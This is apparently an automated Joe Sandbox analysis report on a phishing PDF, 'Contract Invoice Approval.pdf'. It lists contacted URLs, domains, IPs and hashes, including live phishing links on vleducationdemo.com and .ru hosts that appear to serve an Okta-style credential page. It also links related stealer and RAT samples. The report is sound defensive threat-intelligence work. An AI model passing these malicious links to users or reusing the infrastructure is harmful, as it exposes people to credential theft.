https://svh3dl.djktgj.ru/jawari@d09yk9wv	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/favicon.ico	0%	Avira URL Cloud	safe
https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	100%	Avira URL Cloud	phishing
https://zy7z.fmaymzjp.ru/mxnGiuCebjMBjUQRf6mDgo59rEscCBjf	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/wxa3IofquuqMbUQuTyPGrt1sdSMst9gqjd55Hwo34125	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/sqgU1SMa13J1t7Ypk2rEkYjy9WX6zW74mtvfxjHVeEurHlzb	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/563n1EOgaksuabejh6720	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/lmK872PnEvFhfAX0u0ValNz5o5iR18fGtkIzE6hpFhwkn2VoUbgy	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/opmnGQAAi7tEjlqu7DlVANy3uwmrb12qlOuGU8LCwaO4zWOLEJEx0JfSDxY8Y1LDh4DKLef240	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/op3oJud2k3DXgTNTGnS1KeBo2nNYE9dm4rghus5yU9XSO9V7nZX667139	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/rsLrIG7S0lb2JQ5FRGdKRqiiHPvMPFBfzmw4tSlbQghHwcqiQI0sD0ZNsXyfurNMtmcd200	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/uvT0OBQEFECS5XmKp1tnWDgYOO1QNJs8o4GQ0Bo5F45nVc7DdrhDMJTsf00sMThdeJLDFJPEieef256	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/klfIwbLVSLSioSC908IIq28jfo256bKtpoysBpcRyCwM5eM6pwReJ1jZYY4wx214	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/kllzJ6Ule9L6Fx0qoNSM4thAj1qvopA3CYWV48tXOXZ6P9btC23rhT3iaWAPAyz230	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://vleducationdemo.com/cllascio.php?342d3638373437343730373333613266326635613539333737613265363	100%	Avira URL Cloud	phishing
https://zy7z.fmaymzjp.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/347wE6atbqEqdh9eTap4oP3ijP0DnBK1ML9kClG67104	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/ef7axS3Y4pr8NYZsgU1doVRUnUfijkGfT57z9coxi90150	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/ijbVLCjQRzzTHREx8KhePmWwo09nyzFUUqrBrFN9wSYfxNEqh56170	0%	Avira URL Cloud	safe
https://zy7z.fmaymzjp.ru/yzxvph8FBHTfRnUghG8HROvFIxCljej3xHrko80DrsRLOYkjbCKUmFarGjBUQkYzC4gAab180	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
e8652.dscx.akamaiedge.net	23.46.224.249	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
github.com	140.82.113.3	true	false	high
vleducationdemo.com	104.168.69.110	true	false	high
zy7z.fmaymzjp.ru	172.67.183.99	true	false	high
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
svh3dl.djktgj.ru	104.21.91.109	true	false	high
www.google.com	142.251.40.100	true	false	high
d19d360lklgih4.cloudfront.net	18.164.124.91	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://zy7z.fmaymzjp.ru/563n1EOgaksuabejh6720	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://zy7z.fmaymzjp.ru/wxa3IofquuqMbUQuTyPGrt1sdSMst9gqjd55Hwo34125	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://zy7z.fmaymzjp.ru/ghu4jUXy2XLxgai6y6Bc0uWtGX3rjmn2YVrybHZ92Fm5LVcaogGGyaD7ef206	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	false	Avira URL Cloud: phishing	unknown
https://zy7z.fmaymzjp.ru/mxnGiuCebjMBjUQRf6mDgo59rEscCBjf	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/abkqeHN7EYNpOpq1CDQcd30	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://svh3dl.djktgj.ru/jawari@d09yk9wv	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/sqgU1SMa13J1t7Ypk2rEkYjy9WX6zW74mtvfxjHVeEurHlzb	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/opmnGQAAi7tEjlqu7DlVANy3uwmrb12qlOuGU8LCwaO4zWOLEJEx0JfSDxY8Y1LDh4DKLef240	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/lmK872PnEvFhfAX0u0ValNz5o5iR18fGtkIzE6hpFhwkn2VoUbgy	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/rsLrIG7S0lb2JQ5FRGdKRqiiHPvMPFBfzmw4tSlbQghHwcqiQI0sD0ZNsXyfurNMtmcd200	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://zy7z.fmaymzjp.ru/op3oJud2k3DXgTNTGnS1KeBo2nNYE9dm4rghus5yU9XSO9V7nZX667139	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/fIcaNduRepaS/	false		unknown
https://a.nel.cloudflare.com/report/v4?s=A9Xcfnug2X05ky44vmrYWRL%2FNEieKMudaHY07WIvzkdrZqrhh01j0Y8u8votcsgcFrL1oyltx5%2FuuTY1KXmQHk3Ot90G%2BKi%2FkJB%2BQXhGD9uunXvB0ih5n7b8qONTCpWLwWKG	false		high
https://zy7z.fmaymzjp.ru/uvT0OBQEFECS5XmKp1tnWDgYOO1QNJs8o4GQ0Bo5F45nVc7DdrhDMJTsf00sMThdeJLDFJPEieef256	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY	true		unknown
https://zy7z.fmaymzjp.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/kllzJ6Ule9L6Fx0qoNSM4thAj1qvopA3CYWV48tXOXZ6P9btC23rhT3iaWAPAyz230	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/klfIwbLVSLSioSC908IIq28jfo256bKtpoysBpcRyCwM5eM6pwReJ1jZYY4wx214	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/347wE6atbqEqdh9eTap4oP3ijP0DnBK1ML9kClG67104	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/ef7axS3Y4pr8NYZsgU1doVRUnUfijkGfT57z9coxi90150	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/ijbVLCjQRzzTHREx8KhePmWwo09nyzFUUqrBrFN9wSYfxNEqh56170	false	Avira URL Cloud: safe	unknown
https://zy7z.fmaymzjp.ru/yzxvph8FBHTfRnUghG8HROvFIxCljej3xHrko80DrsRLOYkjbCKUmFarGjBUQkYzC4gAab180	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://chrome.cloudflare-dns.com	9f594776-71bf-4287-a1c3-d634ea3d0aa7.tmp.2.dr, b13a336e-46c9-4ce3-a5ce-4f48012e610d.tmp.2.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.1.dr	false		high
https://www.flipkart.com	chromecache_170.15.dr	false		high
https://github.com/fent)	chromecache_183.15.dr	false		high
https://vleducationdemo.com/cllascio.php?342d3638373437343730373333613266326635613539333737613265363	Contract Invoice Approval.pdf	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.113.3	github.com	United States	36459	GITHUBUS	false
104.21.18.216	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
104.21.91.109	svh3dl.djktgj.ru	United States	13335	CLOUDFLARENETUS	false
172.67.183.99	zy7z.fmaymzjp.ru	United States	13335	CLOUDFLARENETUS	false
104.16.6.189	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.164.124.91	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
142.251.40.100	www.google.com	United States	15169	GOOGLEUS	false
172.67.215.247	unknown	United States	13335	CLOUDFLARENETUS	false
104.168.69.110	vleducationdemo.com	United States	36352	AS-COLOCROSSINGUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
23.46.224.249	e8652.dscx.akamaiedge.net	United States	16625	AKAMAI-ASUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1644925
Start date and time:	2025-03-21 07:01:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Contract Invoice Approval.pdf
Detection:	MAL
Classification:	mal100.phis.evad.winPDF@36/128@35/17
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.51.56.185, 3.219.243.226, 52.22.41.97, 52.6.155.20, 3.233.129.217, 172.64.41.3, 162.159.61.3, 23.210.73.5, 23.210.73.6, 23.47.168.24, 23.219.161.132, 23.200.0.33, 23.200.0.21, 142.250.65.227, 142.250.72.110, 142.251.179.84, 142.250.80.46, 142.251.40.110, 142.250.64.78, 142.250.65.206, 142.250.80.10, 142.250.176.202, 142.251.40.202, 142.250.65.170, 142.251.40.106, 142.251.40.170, 142.250.80.42, 142.250.80.74, 142.250.64.74, 142.250.72.106, 142.250.65.202, 142.250.65.234, 142.251.41.10, 142.251.40.138, 142.250.64.106, 142.251.40.234, 142.250.80.78, 142.251.40.174, 142.251.40.206, 172.217.165.131, 142.250.81.238, 142.251.40.195, 172.202.163.200, 23.204.23.20, 20.190.148.163, 23.44.201.23
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, clientservices.googleapis.com, a767.dspw65.akamai.net, acroipm2.adobe.com, clients2.google.com, redirector.gvt1.com, login.live.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ssl.adobe.com.edgekey.net, edgedl.me.gvt1.com, armmf.adobe.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:02:32	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.113.3	vRecording__118sec__Highwoodoil00990__098.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	scan020250310_OrderTermax-3_19_2025.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	iroklas.exe	Get hash	malicious	LummaC Stealer	Browse
	5ecf0e.msi	Get hash	malicious	NovaSentinel	Browse
	ImageG.exe	Get hash	malicious	NovaSentinel	Browse
	https://atpscan.global.hornetsecurity.com/?d=eqOz7AXSzN2V2mi6iPmcWAtgYiZy7lkNff2rdLiYxLc&f=uieQKeFt6Zo7ANK8iLoZFPTujO3kkK4boT32m0sSAem2yjB3nbrJPC-bjAvICoGvUsBPae9KnS3shx7u3k2FiwwIqyiK3sQzLKFz5y8q_nj8PAt_J9HmT1bo5p4OIPC1eZYzpGJBfTb7UM-l94hwhA&i=&k=WFad&m=2x6lr8WIArfjoki1cLDoaGvtZnic1YOh--dHqhZnxNrDJUG4m82-vM5qXqDCSAsURkVh0fd5KOJuBllo3N6JKs2ra2-P7_2temJ9tYhs2hxglgVJVr5gYlT_yoYeRZjF&n=GP4DG9iGvMhGp7Cc0MfzdFVrVHv5htxygQbtVpxMJpUIBpkiFZSL5KiAfQBsE-KAVBPk5S1ARYk-3VQUbSVQ7A&r=WVGLAKs8L0Zh9eoU1fbnSHa5iJ0XuA-IG_TRldcDEATEV5Ai8mKQZHV2Y3yODQ5K&s=49438b7fe2a6d5a79aafcc5ab0730c0b326ba1d8858947a63aac81e1e9547b97&u=https%3A%2F%2Faws.predictiveresponse.net%2Ffwdhs.htm%3Fredirect%3D%2F%2FmembersGelita.cpmeduca.com.br	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://github.com/RACCOONwithlightsaber/RACCOONwithlightsaber.github.io/blob/main/Scooby.exe	Get hash	malicious	Unknown	Browse
	https://mail.pfl.fyi/v1/messages/01907499-c522-7db0-8f73-8ecef125b6ef/click?link_id=01907499-c784-79b1-9586-0af27d2ecc90&signature=435c599a2ffdd44fb638aab33a856024482c0588	Get hash	malicious	Tycoon2FA	Browse
	https://github.com/jmeubank/tdm-gcc/releases/download/v10.3.0-tdm64-2/tdm64-gcc-10.3.0-2.exe	Get hash	malicious	Unknown	Browse
104.21.91.109	Over due Inv.msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
172.67.183.99	https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
172.67.183.99	https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
e8652.dscx.akamaiedge.net	460138.pdf	Get hash	malicious	Unknown	Browse	104.76.101.49
	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse	104.76.101.49
	Document 101-116.pdf	Get hash	malicious	Unknown	Browse	23.39.37.95
	processed-ach-remittance-031925 (2).pdf	Get hash	malicious	Unknown	Browse	2.19.105.127
	DTG.pdf	Get hash	malicious	Unknown	Browse	72.246.169.163
	Munsch-Employee-Handbook.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.209.135
	doc Pg 2A gmt_5057363908.pdf	Get hash	malicious	HTMLPhisher	Browse	23.192.153.142
	Yasmine Hilal W2, 401(k).pdf	Get hash	malicious	Unknown	Browse	23.192.153.142
	virus.pdf	Get hash	malicious	HTMLPhisher	Browse	92.123.21.129
	Emarine System Contact Update.pdf	Get hash	malicious	HTMLPhisher	Browse	2.19.105.127
github.com	http://url5681.planter.eco/ls/click?upn=u001.PX1-2BssefkOe686e7wTSUMnaoXrd6S1ksOi7FI-2BefNAsCzX3TVnnMzv0RD1mV85AlLeXUL2tumK9wNGrcaVuYpg-3D-3DqAfG_lhEpvcamcm95WhC017PRgaD9u4chAi-2B1YZa2gmXBStHPdPGT6s-2BEz793Bvhi3040DuNXmA9056lRnaFpqd1VjgHCt1UePx4U6BGXut0G4i1-2Fc6UkEIKzv1OOOyFWCeIyHI2gjLS5lxpB3MY86Tb9YJCxmM5Kw-2F6lGtH-2BOhWImxRS9kg-2BK-2FmYYxW3f3BYchaNrfSary5LmipSVdym8JgiHU05XKlsep6coKZsnTC7GI4-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	vRecording__118sec__Highwoodoil00990__098.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	Over due Inv.msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.3
	https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe	Get hash	malicious	Unknown	Browse	140.82.114.4
	https://b3rz.5m54lq.ru/A9y-e3M/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	scan020250310_OrderTermax-3_19_2025.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	a1e4fef8.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	iroklas.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.113.3
	gyazowin.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.114.3
developers.cloudflare.com	http://url5681.planter.eco/ls/click?upn=u001.PX1-2BssefkOe686e7wTSUMnaoXrd6S1ksOi7FI-2BefNAsCzX3TVnnMzv0RD1mV85AlLeXUL2tumK9wNGrcaVuYpg-3D-3DqAfG_lhEpvcamcm95WhC017PRgaD9u4chAi-2B1YZa2gmXBStHPdPGT6s-2BEz793Bvhi3040DuNXmA9056lRnaFpqd1VjgHCt1UePx4U6BGXut0G4i1-2Fc6UkEIKzv1OOOyFWCeIyHI2gjLS5lxpB3MY86Tb9YJCxmM5Kw-2F6lGtH-2BOhWImxRS9kg-2BK-2FmYYxW3f3BYchaNrfSary5LmipSVdym8JgiHU05XKlsep6coKZsnTC7GI4-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	vRecording__118sec__Highwoodoil00990__098.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
	https://er.avunzocl.ru/hhtc/	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://b3rz.5m54lq.ru/A9y-e3M/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
	scan020250310_OrderTermax-3_19_2025.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	a1e4fef8.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GITHUBUS	http://url5681.planter.eco/ls/click?upn=u001.PX1-2BssefkOe686e7wTSUMnaoXrd6S1ksOi7FI-2BefNAsCzX3TVnnMzv0RD1mV85AlLeXUL2tumK9wNGrcaVuYpg-3D-3DqAfG_lhEpvcamcm95WhC017PRgaD9u4chAi-2B1YZa2gmXBStHPdPGT6s-2BEz793Bvhi3040DuNXmA9056lRnaFpqd1VjgHCt1UePx4U6BGXut0G4i1-2Fc6UkEIKzv1OOOyFWCeIyHI2gjLS5lxpB3MY86Tb9YJCxmM5Kw-2F6lGtH-2BOhWImxRS9kg-2BK-2FmYYxW3f3BYchaNrfSary5LmipSVdym8JgiHU05XKlsep6coKZsnTC7GI4-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.4
	vRecording__118sec__Highwoodoil00990__098.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	Over due Inv.msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.3
	https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe	Get hash	malicious	Unknown	Browse	140.82.114.4
	https://b3rz.5m54lq.ru/A9y-e3M/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	scan020250310_OrderTermax-3_19_2025.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	a1e4fef8.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	iroklas.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.113.3
	gyazowin.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.114.3
FASTLYUS	ACHStub_XNZSCHPTIF.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.114
	ACHStub_XNZSCHPTIF.svg	Get hash	malicious	HTMLPhisher	Browse	151.101.128.217
	http://url5681.planter.eco/ls/click?upn=u001.PX1-2BssefkOe686e7wTSUMnaoXrd6S1ksOi7FI-2BefNAsCzX3TVnnMzv0RD1mV85AlLeXUL2tumK9wNGrcaVuYpg-3D-3DqAfG_lhEpvcamcm95WhC017PRgaD9u4chAi-2B1YZa2gmXBStHPdPGT6s-2BEz793Bvhi3040DuNXmA9056lRnaFpqd1VjgHCt1UePx4U6BGXut0G4i1-2Fc6UkEIKzv1OOOyFWCeIyHI2gjLS5lxpB3MY86Tb9YJCxmM5Kw-2F6lGtH-2BOhWImxRS9kg-2BK-2FmYYxW3f3BYchaNrfSary5LmipSVdym8JgiHU05XKlsep6coKZsnTC7GI4-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	ATT11027.xhtml	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	Product_Requirements.Doc (1).HTML.html	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	vRecording__118sec__Highwoodoil00990__098.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
	https://techresearchs.benchurl.com/c/l?u=12450653&e=199143A&c=163607&&t=0&l=12689B51E&email=VHWZIWwomIKWc0sY%2B8V5agif8GG0Zxj9&seq=1	Get hash	malicious	Unknown	Browse	151.101.2.132
	https://er.avunzocl.ru/hhtc/	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Alsaywater__098.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://gamma.app/docs/Maui-Police-Department-a50fopf77jftjw5?mode=present#card-ye73d3tp4jd8wbi	Get hash	malicious	HTMLPhisher	Browse	151.101.2.217
CLOUDFLARENETUS	MAWARIS RFQ.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	EaTo0d6YUT.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.145.183
	ACHStub_XNZSCHPTIF.svg	Get hash	malicious	HTMLPhisher	Browse	104.18.86.42
	https://aniwatch.lv	Get hash	malicious	Unknown	Browse	172.67.154.115
	https://aniwatch.lv	Get hash	malicious	Unknown	Browse	172.67.40.50
	https://aniwatch.lv	Get hash	malicious	Unknown	Browse	172.67.221.168
	Datasheet.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse	141.101.96.200
	Details folders Quotation.exe	Get hash	malicious	FormBook	Browse	104.21.10.18
	imv-corp(ref0467) #U3010#U6ce8#U6587#U66f8#U3011sales Agreement WP2501000000 WP2501000000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.088637490673394
Encrypted:	false
SSDEEP:	6:iOuI9uNU+Vq2PRN2nKuAl9OmbnIFUtAI9unxgZmwiI9u8SsIkwORN2nKuAl9Omb5:7upU6vaHAahFUtAS/iLn5JHAaSJ
MD5:	AD79D5CA60DEFD4B54AA02E81FE83FDE
SHA1:	3162FAF4C67CDED960842B00216FAC6CB6D79419
SHA-256:	6F416E983D5DC323BC0D2874F591EFE9D45EAB697090E5192D297C700CD3A757
SHA-512:	AC79FE7C9BE0516E2A97573BA92E19324C14CF516117FF436F750B5A8ADB48C803AC1EB4EA93EFDE03E13CC3BE46885EF76F71A2B2F498C928D4105A96B95B19
Malicious:	false
Reputation:	low
